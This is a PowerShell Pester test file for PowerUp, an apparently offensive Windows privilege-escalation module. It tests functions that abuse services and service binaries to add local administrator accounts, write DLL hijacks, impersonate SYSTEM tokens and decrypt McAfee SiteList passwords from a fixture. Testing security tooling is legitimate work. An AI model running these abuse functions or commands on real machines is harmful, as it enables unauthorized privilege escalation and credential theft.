aboutsummaryrefslogtreecommitdiff
path: root/Tests/Privesc.tests.ps1
blob: 999d712ea9a6c2999959fbf3041f8ad830c2211c (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
Set-StrictMode -Version Latest

$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
$ModuleRoot = Resolve-Path "$TestScriptRoot\.."

$ModuleManifest = "$ModuleRoot\Privesc\Privesc.psd1"
Remove-Module [P]rivesc
Import-Module $ModuleManifest -Force -ErrorAction Stop

# import PowerUp.ps1 manually so we expose the helper functions for testing
$PowerUpFile = "$ModuleRoot\Privesc\PowerUp.ps1"
Import-Module $PowerUpFile -Force -ErrorAction Stop



function Get-RandomName {
    $r = 1..8 | ForEach-Object{Get-Random -max 26}
    return ('abcdefghijklmnopqrstuvwxyz'[$r] -join '')
}

function Test-IsAdmin {
    return ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
}


########################################################
#
# PowerUp helpers functions.
#
########################################################

Describe 'Get-ModifiableFile' {

    It 'Should output a file path.' {
        $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
        $Null | Out-File -FilePath $FilePath -Force

        try {
            $Output = Get-ModifiableFile -Path $FilePath
            $Output | Should Be $FilePath
        }
        finally {
            $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
        }
    }

    It 'Should extract a modifiable file specified as an argument in a command string.' {
        $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
        $Null | Out-File -FilePath $FilePath -Force

        $CmdPath = "'C:\Windows\System32\nonexistent.exe' -i '$FilePath'"
        
        try {
            $Output = Get-ModifiableFile -Path $FilePath
            $Output | Should Be $FilePath
        }
        finally {
            $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
        }
    }

    It 'Should return no results for a non-existent path.' {
        $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"

        $Output = Get-ModifiableFile -Path $FilePath
        $Output | Should BeNullOrEmpty
    }

    It 'Should accept a Path over the pipeline.' {
        $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"

        $Output = $FilePath | Get-ModifiableFile
        $Output | Should BeNullOrEmpty
    }
}

Describe 'Test-ServiceDaclPermission' {

    if(-not $(Test-IsAdmin)) { 
        Throw "'Test-ServiceDaclPermission' Pester test needs local administrator privileges."
    }
    
    It "Should fail finding 'sc.exe'." {
        $ServiceName = Get-RandomName
        $ServicePath = "C:\Program Files\service.exe"
        
        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
        Start-Sleep -Seconds 1
        
        $DirectoryName = Get-RandomName
        $env:SystemRoot = 'C:\\' + $DirectoryName
        { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "sc.exe not found"
        
        sc.exe delete $ServiceName | Should Match "SUCCESS"
        $env:SystemRoot = 'C:\Windows'
    }
    
    It "Should succeed finding 'sc.exe'." {
        $ServiceName = Get-RandomName
        $ServicePath = "C:\Program Files\service.exe"
        
        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
        Start-Sleep -Seconds 1
        
        $DirectoryName = Get-RandomName
        New-Item -Path $env:Temp -Name "$DirectoryName\System32" -ItemType Directory
        New-Item -Path $env:Temp -Name "$DirectoryName\System32\sc.exe" -ItemType File
        $env:SystemRoot = $env:Temp + "\$DirectoryName"
        Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True
        
        Remove-Item -Recurse -Force "$env:Temp\$DirectoryName"
        $env:SystemRoot = 'C:\Windows'
        sc.exe delete $ServiceName | Should Match "SUCCESS"
    }
    
    It "Should fail querying WMI for a non-existent service." {
        $ServiceName = Get-RandomName
        { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine"
    }
    
    It "Should succeed querying WMI for an existenting service." {
        $ServiceName = Get-RandomName
        $ServicePath = "C:\Program Files\service.exe"
        
        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
        Start-Sleep -Seconds 1
        
        Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True
        sc.exe delete $ServiceName | Should Match "SUCCESS"
    }
    
    It "Should fail querying WMI for an existing service due to insufficient DACL permissions." {
        $ServiceName = Get-RandomName
        $ServicePath = "C:\Program Files\service.exe"
        $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
        
        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
        Start-Sleep -Seconds 1
        
        sc.exe sdset $ServiceName "D:(A;;CCDCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS"
        { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine"
        sc.exe delete $ServiceName | Should Match "SUCCESS"
    }
    
    It "Should succeed querying WMI for an existing service due to sufficient DACL permissions." {
        $ServiceName = Get-RandomName
        $ServicePath = "C:\Program Files\service.exe"
        $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
        
        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
        Start-Sleep -Seconds 1
        
        sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS"
        Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True
        sc.exe delete $ServiceName | Should Match "SUCCESS"
    } 
    
    It "Should fail running 'sc.exe sdshow' due to insufficient permissions." {
        $ServiceName = Get-RandomName
        $ServicePath = "C:\Program Files\service.exe"
        $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
        
        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
        Start-Sleep -Seconds 1
        
        sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDWDWO;;;$UserSid)" | Should Match "SUCCESS"
        { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "Could not retrieve DACL permissions"
        sc.exe delete $ServiceName | Should Match "SUCCESS"
    }
    
    It "Should succeed running 'sc.exe sdshow' due to sufficient permissions." {
        $ServiceName = Get-RandomName
        $ServicePath = "C:\Program Files\service.exe"
        $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
        
        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
        Start-Sleep -Seconds 1
        
        sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS"
        Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True
        sc.exe delete $ServiceName | Should Match "SUCCESS"
    }
    
    it "Should fail finding the service DACL value of 'WP' for the current user." {
        $ServiceName = Get-RandomName
        $ServicePath = "C:\Program Files\service.exe"
        
        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
        Start-Sleep -Seconds 1
        
        sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS"
        Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $False
        sc.exe delete $ServiceName | Should Match "SUCCESS"
    }
    
    it "Should succeed finding the service DACL value of 'WP' for the current user." {
        $ServiceName = Get-RandomName
        $ServicePath = "C:\Program Files\service.exe"
        
        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
        Start-Sleep -Seconds 1
        
        sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS"
        Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $True
        sc.exe delete $ServiceName | Should Match "SUCCESS"
    }
}

########################################################
#
# PowerUp service enumeration functions.
#
########################################################

Describe 'Get-ServiceUnquoted' {

    if(-not $(Test-IsAdmin)) { 
        Throw "'Get-ServicePermission' Pester test needs local administrator privileges."
    }

    It "Should not throw." {
        {Get-ServiceUnquoted} | Should Not Throw
    }

    It 'Should return service with a space in an unquoted binPath.' {

        $ServiceName = Get-RandomName
        $ServicePath = "C:\Program Files\service.exe"

        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
        Start-Sleep -Seconds 1

        $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName }
        sc.exe delete $ServiceName | Should Match "SUCCESS"

        $Output | Should Not BeNullOrEmpty
        $Output.ServiceName | Should Be $ServiceName
        $Output.Path | Should Be $ServicePath
    }

    It 'Should not return services with a quoted binPath.' {
        $ServiceName = Get-RandomName
        $ServicePath = "'C:\Program Files\service.exe'"

        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
        Start-Sleep -Seconds 1

        $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName }
        sc.exe delete $ServiceName | Should Match "SUCCESS"

        $Output | Should BeNullOrEmpty
    }
}


Describe 'Get-ServiceFilePermission' {

    if(-not $(Test-IsAdmin)) { 
        Throw "'Get-ServiceFilePermission' Pester test needs local administrator privileges."
    }

    It 'Should not throw.' {
        {Get-ServiceFilePermission} | Should Not Throw
    }

    It 'Should return a service with a modifiable service binary.' {
        try {
            $ServiceName = Get-RandomName
            $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
            $Null | Out-File -FilePath $ServicePath -Force

            sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"

            $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName }
            sc.exe delete $ServiceName | Should Match "SUCCESS"
            
            $Output | Should Not BeNullOrEmpty
            $Output.ServiceName | Should Be $ServiceName
            $Output.Path | Should Be $ServicePath
        }
        finally {
            $Null = Remove-Item -Path $ServicePath -Force
        }
    }

    It 'Should not return a service with a non-existent service binary.' {
        $ServiceName = Get-RandomName
        $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"

        sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"

        $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName }
        sc.exe delete $ServiceName | Should Match "SUCCESS"

        $Output | Should BeNullOrEmpty
    }
}


Describe 'Get-ServicePermission' {

    if(-not $(Test-IsAdmin)) { 
        Throw "'Get-ServicePermission' Pester test needs local administrator privileges."
    }

    It 'Should not throw.' {
        {Get-ServicePermission} | Should Not Throw
    }

    It 'Should return a modifiable service.' {
        $Output = Get-ServicePermission | Where-Object { $_.ServiceName -eq 'Dhcp'}
        $Output | Should Not BeNullOrEmpty
    }
}


Describe 'Get-ServiceDetail' {

    It 'Should return results for a valid service.' {
        $Output = Get-ServiceDetail -ServiceName Dhcp
        $Output | Should Not BeNullOrEmpty
    }

    It 'Should return not results for an invalid service.' {
        $Output = Get-ServiceDetail -ServiceName NonExistent123
        $Output | Should BeNullOrEmpty
    }

    It 'Should accept a service name on the pipeline.' {
        $Output = "Dhcp" | Get-ServiceDetail
        $Output | Should Not BeNullOrEmpty
    }
}



########################################################
#
# PowerUp service abuse functions.
#
########################################################

Describe 'Invoke-ServiceAbuse' {

    if(-not $(Test-IsAdmin)) { 
        Throw "'Invoke-ServiceAbuse' Pester test needs local administrator privileges."
    }

    BeforeEach {
        $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
        $Null = sc.exe create "PowerUpService" binPath= $ServicePath
    }

    AfterEach {
        $Null = sc.exe delete "PowerUpService"
        $Null = $(net user john /delete >$Null 2>&1)
    }

    It 'Should abuse a vulnerable service to add a local administrator with default options.' {
        $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService"
        $Output.Command | Should Match "net"

        if( -not ($(net localgroup Administrators) -match "john")) {
            Throw "Local user 'john' not created."
        }
    }

    It 'Should accept a service name on the pipeline.' {
        $Output = "PowerUpService" | Invoke-ServiceAbuse
        $Output.Command | Should Match "net"

        if( -not ($(net localgroup Administrators) -match "john")) {
            Throw "Local user 'john' not created."
        }
    }

    It 'User should not be created for a non-existent service.' {
        $Output = Invoke-ServiceAbuse -ServiceName "NonExistentService456"
        $Output.Command | Should Match "Not found"

        if( ($(net localgroup Administrators) -match "john")) {
            Throw "Local user 'john' should not have been created for non-existent service."
        }
    }

    It 'Should accept custom user/password arguments.' {
        $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!'
        $Output.Command | Should Match "net"

        if( -not ($(net localgroup Administrators) -match "PowerUp")) {
            Throw "Local user 'PowerUp' not created."
        }
        $Null = $(net user PowerUp /delete >$Null 2>&1)
    }

    It 'Should accept a custom command.' {
        $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
        $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Command "net user testing Password123! /add"

        if( -not ($(net user) -match "testing")) {
            Throw "Custom command failed."
        }
        $Null = $(net user testing /delete >$Null 2>&1)
    }
}


Describe 'Install-ServiceBinary' {

    if(-not $(Test-IsAdmin)) { 
        Throw "'Install-ServiceBinary' Pester test needs local administrator privileges."
    }

    BeforeEach {
        $ServicePath = "$(Get-Location)\powerup.exe"
        $Null | Out-File -FilePath $ServicePath -Force
        $Null = sc.exe create "PowerUpService" binPath= $ServicePath
    }

    AfterEach {
        try {
            $Null = Invoke-ServiceStop -ServiceName PowerUpService
            $Null = sc.exe delete "PowerUpService"
            $Null = $(net user john /delete >$Null 2>&1)
        }
        finally {
            if(Test-Path "$(Get-Location)\powerup.exe") {
                $Null = Remove-Item -Path "$(Get-Location)\powerup.exe" -Force -ErrorAction SilentlyContinue
            }
            if(Test-Path "$(Get-Location)\powerup.exe.bak") {
                $Null = Remove-Item -Path "$(Get-Location)\powerup.exe.bak" -Force -ErrorAction SilentlyContinue
            }
        }
    }

    It 'Should abuse a vulnerable service binary to add a local administrator with default options.' {

        $Output = Install-ServiceBinary -ServiceName "PowerUpService"
        $Output.Command | Should Match "net"

        $Null = Invoke-ServiceStart -ServiceName PowerUpService
        Start-Sleep -Seconds 3
        if( -not ($(net localgroup Administrators) -match "john")) {
            Throw "Local user 'john' not created."
        }
        $Null = Invoke-ServiceStop -ServiceName PowerUpService

        $Output = Restore-ServiceBinary -ServiceName PowerUpService
        "$(Get-Location)\powerup.exe.bak" | Should Not Exist
    }

    It 'Should accept a service name on the pipeline.' {

        $Output = "PowerUpService" | Install-ServiceBinary
        $Output.Command | Should Match "net"

        $Null = Invoke-ServiceStart -ServiceName PowerUpService
        Start-Sleep -Seconds 3
        if( -not ($(net localgroup Administrators) -match "john")) {
            Throw "Local user 'john' not created."
        }
        $Null = Invoke-ServiceStop -ServiceName PowerUpService

        $Output = Restore-ServiceBinary -ServiceName PowerUpService
        "$(Get-Location)\powerup.exe.bak" | Should Not Exist
    }

    It 'User should not be created for a non-existent service.' {
        $Output = Install-ServiceBinary -ServiceName "NonExistentService456"
        $Output.Command | Should Match "Not found"
    }

    It 'Should accept custom user/password arguments.' {
        $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!'
        $Output.Command | Should Match "net"

        $Null = Invoke-ServiceStart -ServiceName PowerUpService
        Start-Sleep -Seconds 3
        if( -not ($(net localgroup Administrators) -match "PowerUp")) {
            Throw "Local user 'PowerUp' not created."
        }
        $Null = $(net user PowerUp /delete >$Null 2>&1)

        $Output = Restore-ServiceBinary -ServiceName PowerUpService
        "$(Get-Location)\powerup.exe.bak" | Should Not Exist
    }

    It 'Should accept a custom command.' {

        $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Command "net user testing Password123! /add"
        $Output.Command | Should Match "net"

        $Null = Invoke-ServiceStart -ServiceName PowerUpService
        Start-Sleep -Seconds 3
        if( -not ($(net user) -match "testing")) {
            Throw "Custom command failed."
        }
        $Null = $(net user testing /delete >$Null 2>&1)

        $Output = Restore-ServiceBinary -ServiceName PowerUpService
        "$(Get-Location)\powerup.exe.bak" | Should Not Exist
    }
}


########################################################
#
# PowerUp .dll hijacking functions.
#
########################################################

Describe 'Find-DLLHijack' {
    It 'Should return results.' {
        $Output = Find-DLLHijack
        $Output | Should Not BeNullOrEmpty
    }
}


Describe 'Find-PathHijack' {

    if(-not $(Test-IsAdmin)) { 
        Throw "'Find-PathHijack' Pester test needs local administrator privileges."
    }

    It 'Should find a hijackable %PATH% folder.' {

        New-Item -Path C:\PowerUpTest\ -ItemType directory -Force

        try {
            $OldPath = $Env:PATH
            $Env:PATH += ';C:\PowerUpTest\'

            $Output = Find-PathHijack | Where-Object {$_.HijackablePath -like "*PowerUpTest*"}

            $Env:PATH = $OldPath
            $Output.HijackablePath | Should Be 'C:\PowerUpTest\'
        }
        catch {
            $Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue
        }
    }
}

# won't actually execute on Win8+ with the wlbsctrl.dll method
Describe 'Write-HijackDll' {

    It 'Should write a .dll that executes a custom command.' {

        try {
            Write-HijackDll -OutputFile "$(Get-Location)\powerup.dll" -Command "net user testing Password123! /add"
            
            "$(Get-Location)\powerup.dll" | Should Exist
            "$(Get-Location)\debug.bat" | Should Exist
        }
        finally {
            $Null = Remove-Item -Path "$(Get-Location)\powerup.dll" -Force -ErrorAction SilentlyContinue
            $Null = Remove-Item -Path "$(Get-Location)\debug.bat" -Force -ErrorAction SilentlyContinue
        }
    }
}


########################################################
#
# PowerUp registry checks.
#
########################################################

Describe 'Get-RegAlwaysInstallElevated' {
    It 'Should not throw.' {
        {Get-ServicePermission} | Should Not Throw
    }
}


Describe 'Get-RegAutoLogon' {
    It 'Should not throw.' {
        {Get-ServicePermission} | Should Not Throw
    }
}


Describe 'Get-VulnAutoRun' {

    if(-not $(Test-IsAdmin)) { 
        Throw "'Get-VulnAutoRun' Pester test needs local administrator privileges."
    }

    It 'Should not throw.' {
        {Get-VulnAutoRun} | Should Not Throw
    }
    It 'Should find a vulnerable autorun.' {
        try {
            $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
            $Null | Out-File -FilePath $FilePath -Force
            $Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'"

            $Output = Get-VulnAutoRun | ?{$_.Path -like "*$FilePath*"}

            $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp
            
            $Output.ModifiableFile | Should Be $FilePath
        }
        finally {
            $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
        }
    }    
}


########################################################
#
# PowerUp misc. checks.
#
########################################################

Describe 'Get-VulnSchTask' {

    if(-not $(Test-IsAdmin)) { 
        Throw "'Get-VulnSchTask' Pester test needs local administrator privileges."
    }

    It 'Should not throw.' {
        {Get-VulnSchTask} | Should Not Throw
    }

    It 'Should find a vulnerable config file for a binary specified in a schtask.' {

        try {
            $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
            $Null | Out-File -FilePath $FilePath -Force

            $Null = schtasks.exe /create /tn PowerUp /tr "vuln.exe -i '$FilePath'" /sc onstart /ru System /f

            $Output = Get-VulnSchTask | Where-Object {$_.TaskName -eq 'PowerUp'}
            $Null = schtasks.exe /delete /tn PowerUp /f
            
            $Output.TaskFilePath | Should Be $FilePath
        }
        finally {
            $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
        }
    }
}


Describe 'Get-UnattendedInstallFile' {

    if(-not $(Test-IsAdmin)) { 
        Throw "'Get-UnattendedInstallFile' Pester test needs local administrator privileges."
    }

    It 'Should not throw.' {
        {Get-UnattendedInstallFile} | Should Not Throw
    }
    It 'Should return a leftover autorun' {
        $FilePath = Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml"

        try {
            $Null | Out-File -FilePath $FilePath -Force
            $Output = Get-UnattendedInstallFile

            $Output | Should Not BeNullOrEmpty
        }
        finally {
            $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
        }
    }
}


Describe 'Get-Webconfig' {
    It 'Should not throw.' {
        {Get-Webconfig} | Should Not Throw
    }
}


Describe 'Get-ApplicationHost' {
    It 'Should not throw.' {
        {Get-ApplicationHost} | Should Not Throw
    }
}


Describe 'Invoke-AllChecks' {
    It 'Should return results to stdout.' {
        $Output = Invoke-AllChecks
        $Output | Should Not BeNullOrEmpty
    }
    It 'Should produce a HTML report with -HTMLReport.' {
        $Output = Invoke-AllChecks -HTMLReport
        $Output | Should Not BeNullOrEmpty

        $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html"

        $HtmlReportFile | Should Exist
        $Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue
    }
}

Describe 'Get-SiteListPassword' {
    BeforeEach {
        $Xml = '<?xml version="1.0" encoding="UTF-8"?><ns:SiteLists xmlns:ns="naSiteList" Type="Client"><SiteList Default="1" Name="SomeGUID"><HttpSite Type="fallback" Name="McAfeeHttp" Order="26" Enabled="1" Local="0" Server="update.nai.com:80"><RelativePath>Products/CommonUpdater</RelativePath><UseAuth>0</UseAuth><UserName></UserName><Password Encrypted="1">jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==</Password></HttpSite><UNCSite Type="repository" Name="Paris" Order="13" Server="paris001" Enabled="1" Local="0"><ShareName>Repository$</ShareName><RelativePath></RelativePath><UseLoggedonUserAccount>0</UseLoggedonUserAccount><DomainName>companydomain</DomainName><UserName>McAfeeService</UserName><Password Encrypted="0">Password123!</Password></UNCSite><UNCSite Type="repository" Name="Tokyo" Order="18" Server="tokyo000" Enabled="1" Local="0"><ShareName>Repository$</ShareName><RelativePath></RelativePath><UseLoggedonUserAccount>0</UseLoggedonUserAccount><DomainName>companydomain</DomainName><UserName>McAfeeService</UserName><Password Encrypted="1">jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==</Password></UNCSite></SiteList></ns:SiteLists>'
        $Xml | Out-File -FilePath "${Home}\SiteList.xml" -Force
    }
    AfterEach {
        Remove-Item -Force "${Home}\SiteList.xml"
    }

    It 'Should correctly parse a SiteList.xml found in a searched path.' {

        $Credentials = Get-SiteListPassword
        
        $Credentials | Where-Object {$_.Name -eq 'McAfeeHttp'} | ForEach-Object {
            # HTTP site
            $_.Enabled | Should Be '1'
            $_.Server | Should Be 'update.nai.com:80'
            $_.Path | Should Be 'Products/CommonUpdater'
            $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q=='
            $_.DecPassword | Should Be 'MyStrongPassword!'
            $_.UserName | Should BeNullOrEmpty
            $_.DomainName | Should BeNullOrEmpty            
        } 
        

        $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object {
            # UNC site with unencrypted password
            $_.Enabled | Should Be '1'
            $_.Server | Should Be 'paris001'
            $_.Path | Should Be 'Repository$'
            $_.EncPassword | Should Be 'Password123!'
            $_.DecPassword | Should Be 'Password123!'
            $_.UserName | Should Be 'McAfeeService'
            $_.DomainName | Should Be 'companydomain'
        }

        $Credentials | Where-Object {$_.Name -eq 'Tokyo'} | ForEach-Object {
            # UNC site with encrypted password
            $_.Enabled | Should Be '1'
            $_.Server | Should Be 'tokyo000'
            $_.Path | Should Be 'Repository$'
            $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q=='
            $_.DecPassword | Should Be 'MyStrongPassword!'
            $_.UserName | Should Be 'McAfeeService'
            $_.DomainName | Should Be 'companydomain'
        }
    }

    It 'Should correctly parse a SiteList.xml on a searched path.' {
        
        $Credentials = Get-SiteListPassword -SiteListFilePath "${Home}\SiteList.xml"
        
        $Credentials | Where-Object {$_.Name -eq 'McAfeeHttp'} | ForEach-Object {
            # HTTP site
            $_.Enabled | Should Be '1'
            $_.Server | Should Be 'update.nai.com:80'
            $_.Path | Should Be 'Products/CommonUpdater'
            $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q=='
            $_.DecPassword | Should Be 'MyStrongPassword!'
            $_.UserName | Should BeNullOrEmpty
            $_.DomainName | Should BeNullOrEmpty            
        } 
        

        $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object {
            # UNC site with unencrypted password
            $_.Enabled | Should Be '1'
            $_.Server | Should Be 'paris001'
            $_.Path | Should Be 'Repository$'
            $_.EncPassword | Should Be 'Password123!'
            $_.DecPassword | Should Be 'Password123!'
            $_.UserName | Should Be 'McAfeeService'
            $_.DomainName | Should Be 'companydomain'
        }

        $Credentials | Where-Object {$_.Name -eq 'Tokyo'} | ForEach-Object {
            # UNC site with encrypted password
            $_.Enabled | Should Be '1'
            $_.Server | Should Be 'tokyo000'
            $_.Path | Should Be 'Repository$'
            $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q=='
            $_.DecPassword | Should Be 'MyStrongPassword!'
            $_.UserName | Should Be 'McAfeeService'
            $_.DomainName | Should Be 'companydomain'
        }
    }
}


Describe 'Get-System' {

    if(-not $(Test-IsAdmin)) { 
        Throw "'Get-System' Pester test needs local administrator privileges."
    }

    AfterEach {
        Get-System -RevToSelf
    }

    It 'Should not throw with default parameters and should elevate to SYSTEM.' {
        { Get-System } | Should Not Throw
        "$([Environment]::UserName)" | Should Be 'SYSTEM'
    }

    It 'Named pipe impersonation should accept an alternate service and pipe name.' {
        { Get-System -Technique NamedPipe -ServiceName 'testing123' -PipeName 'testpipe' } | Should Not Throw
        "$([Environment]::UserName)" | Should Be 'SYSTEM'
    }

    It 'Should elevate to SYSTEM using token impersonation.' {
        { Get-System -Technique Token } | Should Not Throw
        "$([Environment]::UserName)" | Should Be 'SYSTEM'
    }

    It '-WhoAmI should display the current user.' {
        { Get-System -Technique Token } | Should Not Throw
        { Get-System -WhoAmI } | Should Match 'SYSTEM'
    }

    It 'RevToSelf should revert privileges.' {
        { Get-System -Technique Token } | Should Not Throw
        { Get-System -RevToSelf } | Should Not Throw
